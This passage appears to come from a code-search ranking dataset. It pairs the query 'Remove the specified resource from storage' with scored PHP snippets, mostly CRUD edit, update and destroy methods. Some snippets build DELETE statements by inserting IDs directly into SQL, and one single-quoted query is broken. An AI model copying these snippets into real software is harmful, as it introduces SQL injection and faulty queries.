if ($form->isValid($this->_request->getParams())) {\n // update dat\n $microscope->setFromArray($form->getValues(true));\n \n $microscope->save();\n $this->view->redirect = true;\n }\n } else {\n $form->populate($microscope->toArray());\n }\n \n $this->view->microscope = $microscope;\n $this->view->form = $form;\n }", "title": "" }, { "docid": "542ba58a6a50fbb98ee2329122b8ad37", "score": "0.55954534", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('medaSysAOBundle:marche')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find marche entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('medaSysAOBundle:marche:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "a79adb05b1186f7184084352d6f403a5", "score": "0.5592636", "text": "public function edit(Mahasiswas $mahasiswas)\n {\n //\n }", "title": "" }, { "docid": "f8e9f6199b07e8b0ea8459dea3f3dcbe", "score": "0.55886465", "text": "public function Update($entity) {\r\n }", "title": "" }, { "docid": "01e15233de4e50d0cb30a4d168a658e3", "score": "0.5586744", "text": "public function edit(Moneda $moneda)\n {\n //\n }", "title": "" }, { "docid": "8a92ddf47c45be492e44dd033105ed7d", "score": "0.558588", "text": "public function edit(Appoitment $appoitment)\n {\n //\n }", "title": "" }, { "docid": "3513f93845a3af83e59e6052aea4f32a", "score": "0.5584765", "text": "public function edit()\n {\n //\n \n }", "title": "" }, { "docid": "099b7bf4723843472514004918e11afd", "score": "0.5584457", "text": "public function updating($entity) {}", "title": "" }, { "docid": "2ce39afdc283c6908bf3e11fdaafe14e", "score": "0.5574978", "text": "public function update(Request $form)\n {\n $reglas = [\n 'nombreEditar' => 'required|string|min:3|max:30|unique:marcas,nombre'\n ];\n\n $mensajes = [\n 'string' => 'El campo :attribute debe ser un texto',\n 'min' => 'El campo :attribute tiene un minimo de :min',\n 'max' => 'el campo :attribute tiene un maximo de :max',\n 'required' => 'El campo :attribute es obligatorio'\n ];\n $this->validate($form, $reglas, $mensajes);\n\n $marca = marca::find($form['id']);\n $marca->nombre = $form['nombreEditar'];\n $marca->save();\n $sucessfull = 'Marca actualizada correctamente';\n redirect('/admin/home');\n return view('admin.home', compact('sucessfull'));\n }", "title": "" }, { "docid": "204953d2663fe4dad74dc79337460ef9", "score": "0.55738884", "text": "public function edit(Music $music)\n {\n //\n }", "title": "" }, { "docid": "a7cb36d99e3a79425a47e189ed4d68e7", "score": "0.55726355", "text": "public function editAction()\n {\n return $this->save();\n }", "title": "" }, { "docid": "a31e023b1fc8db49c8ba300ea164e563", "score": "0.55627614", "text": "public function editAction()\n {\n $term = $this->_helper->db->findById();\n $this->view->form = $this->_getForm($term);\n $this->_processPageForm($term, 'edit');\n }", "title": "" }, { "docid": "1d76e7cbbd2049b2eebba7bafa38e4a4", "score": "0.55578476", "text": "public function actionEditItem()\r\n {\r\n Yii::import('booster.components.TbEditableSaver');\r\n $es = new TbEditableSaver('DetalleCompra');\r\n \r\n //actualiza el estado del item de detalle de compra\r\n $es->onAfterUpdate= function($event) {\r\n\r\n $model=$this->loadModel(yii::app()->request->getParam('pk')); //obteniendo el Model de detalleCompra\r\n $model->actualizarEstado(); \r\n }; \r\n \r\n $es->update();\r\n \r\n }", "title": "" }, { "docid": "59b936566d0acac6561e5a331c7de52c", "score": "0.5556124", "text": "public function edit(Produto $produto)\n {\n echo \"editando\";\n }", "title": "" }, { "docid": "04cd5fe27fcdf1939d4f00835b69be99", "score": "0.55550647", "text": "public function update(Request $request, Marca $marca)\n {\n //\n $request->validate([\n 'nome' => 'required',\n 'detalhes' => 'required',\n ]);\n \n $marca->update($request->all());\n \n return redirect()->route('marcas.index')\n ->with('success','Marca atualizada com sucesso.');\n }", "title": "" }, { "docid": "0fad555ca084a25b12e52d0a52c3259e", "score": "0.55524105", "text": "public function edit(Metadata $metadata)\n {\n //\n }", "title": "" }, { "docid": "b0c29e5d61b7126e6913d3107d45cad3", "score": "0.5544127", "text": "public function edit(Manage $manage)\n {\n //\n }", "title": "" }, { "docid": "b510f3a3bc76abd9ed41e7fe718493e6", "score": "0.55415666", "text": "public function edit(Comentario $comentario)\n {\n //\n }", "title": "" }, { "docid": "b510f3a3bc76abd9ed41e7fe718493e6", "score": "0.55415666", "text": "public function edit(Comentario $comentario)\n {\n //\n }", "title": "" }, { "docid": "b510f3a3bc76abd9ed41e7fe718493e6", "score": "0.55415666", "text": "public function edit(Comentario $comentario)\n {\n //\n }", "title": "" }, { "docid": "dc4e10a9cb3483a397c947e5e01a395a", "score": "0.55411", "text": "abstract protected function edit();", "title": "" }, { "docid": "1e6de45a2adbde5921e006c9b1e31ca7", "score": "0.5540847", "text": "public function editar($id, $camposValores = array())\n {\n $this->db->where('id', $id)->update('MEDALHA', $camposValores);\n }", "title": "" }, { "docid": "0f80c322a23dee35508af379b5e2415d", "score": "0.5538003", "text": "function onEdit($param) {\n try {\n if (isset($param['key'])) {\n // open a transaction with database 'samples'\n TTransaction::open('db_crmbf');\n\n // load the Active Record according to its ID\n $crm = new Registro($param['key']);\n// var_dump($crm);\n// exit();\n // load the contacts (composition)\n // $cliente->contacts_list = $cliente->getContacts();\n// // load the skills (aggregation)\n// $skills = $cliente->getSkills();\n// $skill_list = array();\n// if ($skills) {\n// foreach ($skills as $skill) {\n// $skill_list[] = $skill->id;\n// }\n// }\n// $cliente->skill_list = $skill_list;\n // fill the form with the active record data\n $this->form->setData($crm);\n\n // close the transaction\n TTransaction::close();\n } else {\n $this->form->clear();\n }\n } catch (Exception $e) { // in case of exception\n // shows the exception error message\n new TMessage('error', '<b>Error</b>' . $e->getMessage());\n // undo all pending operations\n TTransaction::rollback();\n }\n }", "title": "" }, { "docid": "7d850f3a00df1464ff47af7f916d9415", "score": "0.5524493", "text": "public function edit_postAction() {\n\t\t$info = $this->getPost(array('id', 'title', 'content', 'url'));\n\t\t$info = $this->_cookData($info);\n\t\t$ret = Gou_Service_Msg::updateMsg($info, intval($info['id']));\n\t\tif (!$ret) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功.'); \t\t\n\t}", "title": "" }, { "docid": "ddee27cd883450bcd7821d59246523b8", "score": "0.5521996", "text": "public function edit(Ensayo $ensayo)\n {\n //\n }", "title": "" }, { "docid": "d98972be80c193678a5df5e120967182", "score": "0.55219865", "text": "public function update() {\n \n if($this->id <=0) {\n throw new UpdateException();\n }\n $query = $this->dbConnection->prepare('UPDATE `contents` SET `nickname` = :nickname, `age` = :age, `gender` = :gender, `questionid` = :questionid, `answer` = :answer WHERE id = :id');\n $query->bindValue(':id', $this->id, PDO::PARAM_INT);\n $query->bindValue(':nickname', $this->nickname, PDO::PARAM_STR);\n $query->bindValue(':age', $this->age, PDO::PARAM_INT);\n $query->bindValue(':gender', $this->gender, PDO::PARAM_STR);\n $query->bindValue(':questionid', $this->questionid, PDO::PARAM_INT);\n $query->bindValue(':answer', $this->answer, PDO::PARAM_STR);\n $query->execute();\n $this->id = $this->dbConnection->lastInsertId();\n }", "title": "" }, { "docid": "ea74479e1ff194e5d28a9a1bd9ea39dc", "score": "0.55177844", "text": "public function update(){\n\t\t$fs = Crudadmin::prepareFields(self::$schema,\"edit\");\n\t\t$vs = Crudadmin::prepareValues(self::$schema,$this,\"edit\");\n\t\t$sql = Crudadmin::buildUFromFV(self::$tablename,$fs, $vs,$this->id);\n\t\tExecutor::doit($sql);\n\t}", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55174637", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55174637", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55174637", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55174637", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55174637", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "6f4c412931e2c4592532c5ae95bd13ff", "score": "0.55154294", "text": "public function index_put($id)\n {\n $input = $this->put();\n $this->db->update('commandes', $input, array('id'=>$id));\n\n $this->response(['Commande updated successfully.'], REST_Controller::HTTP_OK\n );\n}", "title": "" }, { "docid": "60425bc3a61f570a890eaafb5c08f680", "score": "0.55101764", "text": "public function edit($id){}", "title": "" }, { "docid": "60425bc3a61f570a890eaafb5c08f680", "score": "0.55101764", "text": "public function edit($id){}", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
[ { "docid": "c2f9cc645d4545f2d2dc148427898dab", "score": "0.0", "text": "public function destroy($id)\n {\n $contacto = Contacto::find($id);\n\n $contacto->delete();\n\n return back();\n }", "title": "" } ]
[ { "docid": "323473ed6f508b74e659356efaa1c48c", "score": "0.71817523", "text": "public function delete(Resource $resource);", "title": "" }, { "docid": "37dd170c1eaea50870a9bd20839ad070", "score": "0.7137241", "text": "public function remove(ResourceInterface $resource): void\n {\n }", "title": "" }, { "docid": "d0200b5511e373dc382f72a63508d06c", "score": "0.6805081", "text": "public function remove()\n {\n\n // delete it phsically\n Storage::delete($this->getAttribute('file_path'));\n\n // delete the db record\n $this->delete();\n\n }", "title": "" }, { "docid": "60e0eaaca05e10d390d77cb40782adfc", "score": "0.67393976", "text": "public function remove($resourcePath, $checkExistence = true);", "title": "" }, { "docid": "d9f10892d48fdfd7debb2a97681f0912", "score": "0.6659381", "text": "public function destroy(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "d9f10892d48fdfd7debb2a97681f0912", "score": "0.6659381", "text": "public function destroy(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "901346032d849135a1cc9b1c8ea4554a", "score": "0.6501505", "text": "public function remove()\n {\n $this->store->remove($this->identifier);\n }", "title": "" }, { "docid": "dfa556aa3ba45a435d6c6cf0513a0e45", "score": "0.62263656", "text": "private function delete($resource, $max_version = FALSE)\n\t{\n\t\t// check its retention policy\n\t\t\n\t\t// if only archiving\n\t\tDatabase::getInstance()->archive($resource, $max_version);\n\t}", "title": "" }, { "docid": "fe71fcb7a71c2406c9cd8f327891a179", "score": "0.61919874", "text": "function destroy( $resource ){\n\n $result = softDelete( 'products', $resource );\n\n if( !$result ){\n\n redirect( route( 'product?message=1' ) );\n\n }\n\n redirect( route( 'product' ) );\n}", "title": "" }, { "docid": "2a16eec4649872586b53cd9c5d322b4e", "score": "0.6179796", "text": "final public function delete()\n {\n $this->data->unlink();\n }", "title": "" }, { "docid": "2e3244eae75a5a190b83c17304240fa4", "score": "0.61707264", "text": "public function destroy(Resource $resource)\n {\n try {\n Gate::authorize('delete', $resource);\n\n $resource->delete();\n } catch (\\Illuminate\\Database\\Eloquent\\ModelNotFoundException $e) {\n\n throw abort(401);\n }\n\n $fileName = $resource->getMedia()[0]->file_name ?? 'unknown file';\n return redirect()->back()\n ->with([\n 'status' => 'success-destroy-resource',\n 'message' => $fileName . ' was deleted sucessfully!',\n 'resource_id' => $resource->id\n ]);\n }", "title": "" }, { "docid": "e66bdca3dafa110f9ec6b1f5dc9131de", "score": "0.61525285", "text": "function destroy( $resource ){\n\n return softDelete( 'receivables', $resource) ? true : false;\n\n}", "title": "" }, { "docid": "77014b4d73bed44bc9f32b0e436008eb", "score": "0.61250305", "text": "public function remove()\n {\n @unlink($this->getCachePath());\n }", "title": "" }, { "docid": "2931d9b75e0e409683172c9703f69836", "score": "0.61063725", "text": "public function delete(){\n Storage::cloud()->delete($this->url);\n parent::delete();\n }", "title": "" }, { "docid": "4d3716fdeabf4d654b91d48076636ceb", "score": "0.6075143", "text": "public function deleteresource($instrumentID,$resourceID) {\r\n $user_id = Auth::user()->getId();\r\n $instrumentID = (int) $instrumentID; // force instrumentID to int for security\r\n $resourceID = (int) $resourceID; // force resourceID to int for security\r\n\r\n // then we need an image to represent the mp3\r\n $resourcequery = \\DB::table('resources')\r\n ->where('resourceID', '=', $resourceID) \r\n ->take(1)->get();\r\n\r\n if (sizeof($resourcequery) < 1) {\r\n return \\Redirect::action('AdminController@movedordeleted'); // redirect if no result for resource\r\n }\r\n\r\n $resourceType = $resourcequery[0]->resourceType; \r\n $resourceFileName = $resourcequery[0]->resourceFileName; \r\n\r\n // get instrument\r\n $instrument = \\DB::table('instruments')\r\n ->where('instrumentID', '=', $instrumentID) \r\n ->take(1)->get();\r\n\r\n if (sizeof($instrument) < 1) {\r\n return \\Redirect::action('AdminController@movedordeleted'); // redirect if no result for instrument\r\n }\r\n\r\n $legalBodyID = $instrument[0]->legalBodyID; \r\n $instrumentName = $instrument[0]->titlePreferred; \r\n\r\n // get collection\r\n $legalbodies = \\DB::table('legalbodies')\r\n ->where('legalBodyID', '=', $legalBodyID) \r\n ->take(1)->get();\r\n\r\n if (sizeof($legalbodies) < 1) {\r\n return \\Redirect::action('AdminController@movedordeleted'); // redirect if no result for collection\r\n }\r\n\r\n $legalBodyMDAcode = $legalbodies[0]->legalBodyMDAcode; \r\n $legalBodyName = $legalbodies[0]->legalBodyName; \r\n\r\n // now remove the record from the database...\r\n \\DB::table('resources')->where('resourceID', '=', $resourceID)->delete();\r\n\r\n // now remove any rights info for this resource from the database...\r\n \\DB::table('rights')->where('resourceID', '=', $resourceID)->delete();\r\n\r\n // set flash data to show deletion\r\n session()->flash('flashdata', \"Instrument resource successfully deleted\");\r\n $sessiondata = session()->all();\r\n\r\n // add delete resource activity\r\n \\DB::table('user_activity')->insert(\r\n ['userID' => $user_id, 'resourceID' => $resourceID, 'activity' => \"You deleted a \".$resourceType, 'instrumentID' => $instrumentID, 'instrumentName' => $instrumentName, 'legalBodyID' => $legalBodyID, 'legalBodyName' => $legalBodyName, 'activityDate' => \\Carbon\\Carbon::now() ]\r\n );\r\n\r\n // remove the files then redirect...\r\n if ($resourceType == \"image\")\r\n {\r\n \\File::Delete('instrument_resources/images/'.$legalBodyMDAcode.'/'.$resourceFileName); // delete the image\r\n \\File::Delete('instrument_resources/images/'.$legalBodyMDAcode.'/thumbnails/'.$resourceFileName); // delete image thumb if exists\r\n return \\Redirect::action('Resources@editimages', array('instrumentID' => $instrumentID)); // redirect to image list\r\n } \r\n\r\n if ($resourceType == \"sound\")\r\n {\r\n \\File::Delete('instrument_resources/sound/'.$legalBodyMDAcode.'/'.$resourceFileName); // delete the audio\r\n return \\Redirect::action('Resources@editaudio', array('instrumentID' => $instrumentID)); // redirect to audio list\r\n } \r\n\r\n if ($resourceType == \"video\")\r\n {\r\n \\File::Delete('instrument_resources/video/'.$legalBodyMDAcode.'/'.$resourceFileName); // delete the video\r\n return \\Redirect::action('Resources@editvideo', array('instrumentID' => $instrumentID)); // redirect to video list\r\n } \r\n\r\n}", "title": "" }, { "docid": "cc659928abe790e8fac51c06e7c6117b", "score": "0.6034554", "text": "public function destroy($id)\n {\n $slider = Slider::find($id);\n \n if(Storage::disk('public')->exists($slider->image)){\n Storage::disk('public')->delete($slider->image);\n $slider->delete();\n\n return redirect()->route('admin.slider.index');\n\n\n }\n}", "title": "" }, { "docid": "f57a1543be50c05c9d9e836022b5df10", "score": "0.60049963", "text": "public function deleteInStorage()\n {\n $driver = Storage::disk($this->storage);\n $driver->delete($this->source);\n\n $styles = $this->imagestyles()->filter(function ($item) {\n return $item['path'];\n });\n foreach ($styles as $style) {\n $driver->delete($style['path']);\n }\n }", "title": "" }, { "docid": "0907ddc27d61e616fb26e1efc6859210", "score": "0.599938", "text": "public function unpublishPersistentResource(\\TYPO3\\Flow\\Resource\\Resource $resource)\n {\n return $this->resourcePublishingTarget->unpublishPersistentResource($resource);\n }", "title": "" }, { "docid": "65d9262aaa2d8511e09375a64eebcea3", "score": "0.5985362", "text": "protected function deleteFromStorage(string $path): void\n {\n unlink($this->storagePath($path));\n }", "title": "" }, { "docid": "870c1879d675e54a39e9c3193bfa3762", "score": "0.5935635", "text": "protected function deleteResource($resourceId) {\n if($this->resourceModel != null) {\n $this->resourceModel->deleteResource($resourceId);\n }\n }", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "6135bcff168c3ab2e042cd2a00a4650c", "score": "0.59222406", "text": "protected function removeStorage()\n {\n $this->session->remove($this->formid);\n }", "title": "" }, { "docid": "91d9de58482d119659d570a40c8aa219", "score": "0.59040296", "text": "public function remove($entity)\n {\n $location = './public' . $this->options->getAttachmentPath() . $entity->getFileName();\n unlink($location);\n\n parent::remove($entity);\n }", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "1ff0354ec98125684a2a7f79c1a86828", "score": "0.5880235", "text": "function delete() {\n\n unlink($this->path);\n\n }", "title": "" }, { "docid": "15d77f2192a4aacfad530291891099cb", "score": "0.5879458", "text": "private function delete_resource($rid){\n\t\t$this->r_db->query('DELETE FROM resource WHERE rid = $rid');\n\t}", "title": "" }, { "docid": "665b7c1d9e70f47ed64d96953e0ebd6a", "score": "0.5873777", "text": "public function remove()\n\t{\n\t\t$this->deleteOrTrash(false);\n\t}", "title": "" }, { "docid": "801474b9e900757e5407f546db807117", "score": "0.5853427", "text": "public function destroy($id)\n {\n $store = Store::find($id);\n $path = '/storage/store_image/'.$store->pic;\n //var_dump(public_path().$path);\n File::delete(public_path().$path);\n \n \n $store->delete();\n return redirect('/adminstore');\n }", "title": "" }, { "docid": "306e785660b4a48d4b7818865a87fdbf", "score": "0.5834261", "text": "public function delete($resourceType, $resourceId, $parameters = []);", "title": "" }, { "docid": "9ebd94a50a2e958b6710ddc0436ae1ea", "score": "0.5826271", "text": "public function destroy(StorageRental $storageRental)\n {\n //\n }", "title": "" }, { "docid": "4d396a2a1d64c7bc35e491fede78f6ac", "score": "0.5820096", "text": "public function destroy(Attribute $attribute);", "title": "" }, { "docid": "7db018972c54aca2f0bcafd770255c57", "score": "0.5793602", "text": "public function remove($key) {\n unset($this->storage[$key]);\n }", "title": "" }, { "docid": "1bbcc8124b9085869b6835e05fefac01", "score": "0.5779648", "text": "public function deleteResource($entity)\n {\n $this->getDoctrine()->getManager()->remove($entity);\n $event = new RepositoryEvent($entity, 'delete');\n $this->get('event_dispatcher')->dispatch('okApp.pre_validate', $event);\n $this->get('event_dispatcher')->dispatch('okApp.pre_flush', $event);\n $this->getDoctrine()->getManager()->flush(); // save changes to already attached entity\n $this->get('event_dispatcher')->dispatch('okApp.post_flush', $event);\n\n return $entity;\n }", "title": "" }, { "docid": "bbd4fbeb169cce49dbdee4fcf4da3308", "score": "0.576368", "text": "public function destroy(Storage $storage)\n {\n //\n }", "title": "" }, { "docid": "ebc7a125ebe4737bc2998e770814f71b", "score": "0.5739182", "text": "public function destroy($id)\n {\n $res = UploadResource::findOrFail($id);\n $path = $res->{'path'};\n $ueditor = app('ueditor');\n if ($result = $ueditor->deleteResource($path)) {\n $res->delete();\n }\n return response()->json(['code' => 200, 'data' => ['result' => $result]]);\n }", "title": "" }, { "docid": "3c664f57f9c4dbfaab4e33c4c362aa28", "score": "0.5723814", "text": "public function remove() {\n return unlink($this->getAbsolute());\n }", "title": "" }, { "docid": "b86ae32c63f3ca7d52497df28e9fc6c7", "score": "0.5715146", "text": "public function remove(string $path): self;", "title": "" }, { "docid": "987fae9b29119a6e8cf27b87eaa6430d", "score": "0.5696804", "text": "public function __unlink__() {\n \n // has been unlinked before?\n if ( $this->_unlinked ) return;\n \n // test if object is writable by current user\n if ( !$this->isWritable() )\n throw Object( 'Exception.IO', 'Not enough permissions to delete object: ' . $this->url );\n \n // set the unlinked object flag \n $this->_unlinked = TRUE;\n \n // if the object has an _id, it implies that the object has been saved\n // before in the database. so we remove it.\n if ( $this->_id ) {\n // make sure we delete only a single object from database.\n $this->_server->objects->remove([ '_id' => $this->_id ], [ 'justOne' => TRUE ]);\n }\n \n }", "title": "" }, { "docid": "31552ad8a419fce5ba6d67be1e8ea658", "score": "0.56877464", "text": "public function destroy($id)\n {\n $file = File::findOrFail($id);\n if($file->delete())\n {\n return new FileResource($file);\n }\n\n }", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "f9520978afbaf3da90dc31b6415b2157", "score": "0.5683821", "text": "public function wipeStorage(): void\n {\n }", "title": "" }, { "docid": "e69dc0cbd5f874e75c6ce3e19f1fda0b", "score": "0.56808966", "text": "public function remove($identifier)\n {\n unset($this->assets[$identifier]);\n }", "title": "" }, { "docid": "30573ad9e3e221d53f80f033fa21635e", "score": "0.56723815", "text": "public function rmPhoto($photo) \n {\n return Storage::delete($this->storagePath.'/'.$photo);\n }", "title": "" }, { "docid": "91d0abfba516849f162315ad6f84221d", "score": "0.5665747", "text": "public static function deleteResource($path)\n {\n return self::connection()->delete(self::$api_path . $path);\n }", "title": "" }, { "docid": "91d0abfba516849f162315ad6f84221d", "score": "0.5665747", "text": "public static function deleteResource($path)\n {\n return self::connection()->delete(self::$api_path . $path);\n }", "title": "" }, { "docid": "65d0b4ad7c743cc4cb3030c4f6cc4bf1", "score": "0.5652733", "text": "public function destroy($id)\n {\n $brand=Brand::with('photo')->whereId($id)->first();\n //for showing image the url is:/storage/photos/imagName\n //for deleting image the url is:public/photos/image\n //so we need to ommit storage from the path\n // the storage is added to path by accessor in photo model\n $dir= str_replace('/storage/','',$brand->photo->path);\n Storage::disk('public')->delete($dir);\n //the bellow works when we dont use accessors\n// Storage::disk('public')->delete('photos/'. $brand->photo->path);\n Photo::find($brand->photo_id)->delete();\n Session::flash('delete','برند با موفقیت حذف گردید.');\n return redirect()->route('brand.index');\n }", "title": "" }, { "docid": "3c1d74895129edf90ccfa12701fc59d9", "score": "0.56470865", "text": "public function deleted(Asset $asset): void\n {\n $asset->project->decrementUsedStorageBy($asset->file_size);\n }", "title": "" }, { "docid": "6aabfb0c93b68c59f34da645f69bf7cc", "score": "0.5638543", "text": "public function destroy($id) {\n\n\n $image = Image::find($id);\n unlink(public_path() . \"/extra-images/\" . $image->path);\n $image->delete();\n\n return redirect()->back();\n }", "title": "" }, { "docid": "d518661f40324022339bdb48961c2dff", "score": "0.5636839", "text": "public function delete($path)\n {\n $objectName = $this->_getObjectName($path);\n\n $status = $this->_s3->removeObject($objectName);\n\n if (!$status) {\n if ($this->_s3->isObjectAvailable($objectName)) {\n throw new Omeka_Storage_Exception('Unable to delete file.');\n } else {\n _log(\"Omeka_Storage_Adapter_ZendS3: Tried to delete missing object '$objectName'.\", Zend_Log::WARN);\n }\n } else {\n _log(\"Omeka_Storage_Adapter_ZendS3: Removed object '$objectName'.\");\n }\n }", "title": "" }, { "docid": "f12fb388a946ae58a0b65aa86a9ca9f5", "score": "0.56333244", "text": "public function delete(string $path);", "title": "" }, { "docid": "f12fb388a946ae58a0b65aa86a9ca9f5", "score": "0.56333244", "text": "public function delete(string $path);", "title": "" }, { "docid": "5f74be406524d1dd367332df9f956681", "score": "0.5630604", "text": "public function fsRemove(): void;", "title": "" }, { "docid": "c291ed5f62661f8ae3c7ebd197fd20a7", "score": "0.56288564", "text": "public function destroy($id)\n {\n $link=Link::find($id);\n //delete related file from storage\n $link->delete();\n return redirect()->route('links.index');\n }", "title": "" }, { "docid": "0428848b8d6110c6be21d9479ece2192", "score": "0.56237406", "text": "public function removeImage()\n {\n if (!empty($this->image) && !empty($this->id)) {\n $path = storage_path($this->image);\n if (is_file($path)) {\n unlink($path);\n }\n if (is_file($path.'.thumb.jpg')) {\n unlink($path.'.thumb.jpg');\n }\n }\n }", "title": "" }, { "docid": "73ac3f972acee5b7fd463d6b5a330028", "score": "0.5622749", "text": "public function destroy($upload)\n {\n $upload = Upload::find($upload);\n\n if($upload->delete()){\n return new UploadResource($upload);\n }\n }", "title": "" }, { "docid": "81330da370f2fa8918bf911dbbabd413", "score": "0.5621184", "text": "public function delete_image(){\n Storage::delete($this->image_path);\n }", "title": "" }, { "docid": "f352556f4e66b189947335dec9b06fff", "score": "0.5616907", "text": "public function destroy($id)\n {\n $item = Item::find($id);\n \n\n\n if(Storage::exists('/public/item/'.$item->image)){\n\n Storage::delete('/public/item/'.$item->image);\n\n }\n\n $item->delete();\n \n\n return redirect()->route('item.index')->with('success','item is deleted');\n }", "title": "" }, { "docid": "f4fee47f6d2a99e0273d0b83ff75e8d1", "score": "0.5606612", "text": "public function unpublishPersistentResource(\\TYPO3\\Flow\\Resource\\Resource $resource)\n {\n $result = false;\n $pathAndFilename = $this->buildPersistentResourcePublishPathAndFilename($resource, true);\n foreach (glob($pathAndFilename . '*') as $publishedResourcePathAndFilename) {\n unlink($publishedResourcePathAndFilename);\n $result = true;\n }\n return $result;\n }", "title": "" }, { "docid": "de45c4dca2d6523c2022cb0e74bc40d3", "score": "0.56060195", "text": "public function destroy($id)\n\t{\n\t\t$disk = Storage::disk('s3');\n\t\t$product = Product::find($id);\n\t\t$server = MyS3Tool::getGlideServer();\n \t\t$server->deleteCache($product->file_path);\n\t\t$disk->delete($product->file_path);\n\t\t$product->delete();\n\t\treturn Redirect::to('admin/products');\n\t}", "title": "" }, { "docid": "c0964a1f3d98ed05c28e086f64c70cd6", "score": "0.5598138", "text": "public function destroy($id){\n $image = $this->findById($id);\n return $image->delete();\n }", "title": "" }, { "docid": "6fbcf9a59c7f34ed85fd172cdf3d3c38", "score": "0.5595493", "text": "public function remove(){}", "title": "" }, { "docid": "ac975279aabe631d72ba36ab9e59ecc2", "score": "0.5591231", "text": "public function destroy($id)\n {\n $file = File::findOrFail($id);\n if ($file->delete()) {\n return new FileResource($file);\n }\n }", "title": "" }, { "docid": "635fc9f7a4a2830c651a29b140289b35", "score": "0.5590984", "text": "public function delete(string $path): void;", "title": "" }, { "docid": "74b509420981e517c8d4ac09b8facadd", "score": "0.5582708", "text": "public function deleteImage() {\n Storage::delete($this->image);\n }", "title": "" }, { "docid": "a3405548801d1f43db03c2af439660f3", "score": "0.5578764", "text": "public function testRemove()\n {\n $path = 'foo.bar';\n // Not expecting much this time\n $repository_mock = $this->getRepositoryMock();\n\n $repository_mock\n ->expects($this->once())\n ->method('remove')\n ->with($path)\n ;\n\n $storage = new DatabaseStorage($repository_mock);\n $storage->remove($path);\n }", "title": "" }, { "docid": "5179b19b5312e92f8e000263d75f03ae", "score": "0.5571099", "text": "public function remove(Ressource $ressource)\n {\n if ($hash = $this->contains($ressource)) {\n unset($this->register[$hash]);\n }\n }", "title": "" }, { "docid": "471ea99d18c0ec83043973e3c3a7bee0", "score": "0.55674917", "text": "public function removeFromStorage(string $key): RequestInterface;", "title": "" }, { "docid": "32ccf3fad3618561467a2c67eea18aac", "score": "0.5564203", "text": "public function destroy($id)\n {\n $produc=products::find($id);\n if(Storage::disk('public')->exists('productImage/'.$produc->image)){\n Storage::disk('public')->delete('productImage/'.$produc->image);\n }\n $produc->delete();\n return redirect()->back();\n\n\n\n\n }", "title": "" }, { "docid": "18ffafef63ac8ab7ff8598b372ac00db", "score": "0.55592227", "text": "function del_resource($id){\n $data = $this->executeSQL(\"SELECT 1 AS Exist FROM Room_Resource WHERE RoomID = $id LIMIT 1\");\n if($data != null)\n return false;\n\n $sql =\n \"DELETE FROM\n Resource\n WHERE\n Resource.ResourceID = $id\";\n\n return $this->executeCommand($sql);\n }", "title": "" }, { "docid": "3a4437ecd3ac49434983bcba4dbcca09", "score": "0.55526173", "text": "public function destroy($id){\n\n $data = Product::findOrFail($id);\n if (strpos($data->image, '/uploads/') !== false) {\n $image = str_replace( asset('').'storage/', '', $data->image);\n Storage::disk('public')->delete($image);\n }\n $data->delete();\n $message = __('dashboard.deleted');\n return $this->successResponse(null, $message);\n }", "title": "" }, { "docid": "13d8740fa49c2f0b7efc4e2a52be2a21", "score": "0.5548022", "text": "public function destroy(Request $request)\n {\n //\n\n\n $Details = store::where('id', $request->id)->first();\n Storage::disk('public_uploads')->delete($Details->file_path);\n $Details->delete();\n session()->flash('delete', 'T-Shirt Deleted');\n return redirect('/store');\n\n }", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "1e91a964584f7d2cabfa01501c86af79", "score": "0.5539283", "text": "public function unSaveResource(Resource $resource)\n {\n $this->resourceModel->unSaveResourceFromLoggedInUser($resource);\n return redirect()->back();\n }", "title": "" }, { "docid": "fd689274281a2b1dd2aff836fb81a613", "score": "0.5537332", "text": "public function destroy($id)\n {\n // Todo soft deleting..\n }", "title": "" }, { "docid": "9e1d042bf9beb73bf0bd909737159dcd", "score": "0.5536505", "text": "public function destroy($id)\n {\n $ad=Ad::find($id);\n //delete related file from storage\n $ad->delete();\n return redirect()->route('ads.index');\n }", "title": "" }, { "docid": 